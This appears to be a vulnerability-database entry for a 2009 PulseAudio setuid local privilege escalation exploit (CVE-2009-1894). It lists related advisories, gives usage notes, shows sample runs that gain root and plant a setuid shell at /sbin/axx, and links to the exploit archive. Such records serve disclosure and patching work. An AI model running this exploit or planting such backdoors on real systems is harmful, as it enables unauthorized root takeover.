PulseAudio setuid (Ubuntu 9.04 / Slackware 12.2.0) - Local Privilege Escalation
| Reporter | Title | Published | Views | Family All 40 |
|---|---|---|---|---|
 | GNU C library dynamic linker $ORIGIN expansion Vulnerability | 19 Oct 201000:00 | – | zdt |
 | CVE-2009-1894 | 20 Jul 200900:00 | – | circl |
 | CVE-2009-1894 | 17 Jul 200916:00 | – | cve |
 | CVE-2009-1894 | 17 Jul 200916:00 | – | cvelist |
 | [SECURITY] [DSA 1838-1] New pulseaudio packages fix privilege escalation | 18 Jul 200912:18 | – | debian |
 | CVE-2009-1894 | 17 Jul 200916:00 | – | debiancve |
 | Debian DSA-1838-1 : pulseaudio - privilege escalation | 24 Feb 201000:00 | – | nessus |
| GLSA-200907-13 : PulseAudio: Local privilege escalation | 17 Jul 200900:00 | – | nessus |
| Mandriva Linux Security Advisory : pulseaudio (MDVSA-2009:152) | 20 Jul 200900:00 | – | nessus |
| Ubuntu 8.04 LTS / 8.10 / 9.04 : pulseaudio vulnerability (USN-804-1) | 17 Jul 200900:00 | – | nessus |
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PulseAudio setuid Local Privilege Escalation Vulnerability
https://www.securityfocus.com/bid/35721
Credit for discovery of bug: Tavis Ormandy, Julien Tinnes and
Yorick Koster
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Put files in /tmp/pulseaudio-exp (or change config.h). Must be on
same fs as the pulseaudio binary.
Goes faster if you already have a pulseaudio running ? :p
Tested with success on Ubuntu 9.04 (x86-64) and slackware 12.2.0
(x86)
Ubuntu:
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$ ./c.sh
$ ./pulseaudio-exp
Please wait.
[*] Seems we are uid = 0 and gid = 0
[*] mv /tmp/pulseaudio-exp/shell /sbin/axx
[*] chown root.root /sbin/axx
[*] chmod 4755 /sbin/axx
Try: /sbin/axx /bin/sh
$ /sbin/axx /bin/sh
# id
uid=0(root) gid=0(root)
groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(adm
in),122(sambashare)
# uname -a
Linux ubuntu 2.6.28-13-generic #45-Ubuntu SMP Tue Jun 30 22:12:12
UTC 2009 x86_64 GNU/Linux
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Slackware
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$ ./c.sh
$ ./pulseaudio-exp
Please wait.
[*] Seems we are uid = 0 and gid = 0
[*] mv /tmp/pulseaudio-exp/shell /sbin/axx
[*] chown root.root /sbin/axx
[*] chmod 4755 /sbin/axx
Try: /sbin/axx /bin/sh
$ /sbin/axx /bin/sh
sh-3.1# id
uid=0(root) gid=0(root) groups=17(audio),100(users),104(pulse-rt)
sh-3.1# uname -a
Linux slackware 2.6.27.7-smp #2 SMP Thu Nov 20 22:32:43 CST 2008
i686 Intel(R) Pentium(R) Dual CPU T3400 @ 2.16GHz
GenuineIntel GNU/Linux
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download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9208.tar.gz (2009-pulseaudio-exp.tar.gz)
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20 Jul 2009 00:00Current
5.8Medium risk
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CVSS 27.2
EPSS0.00736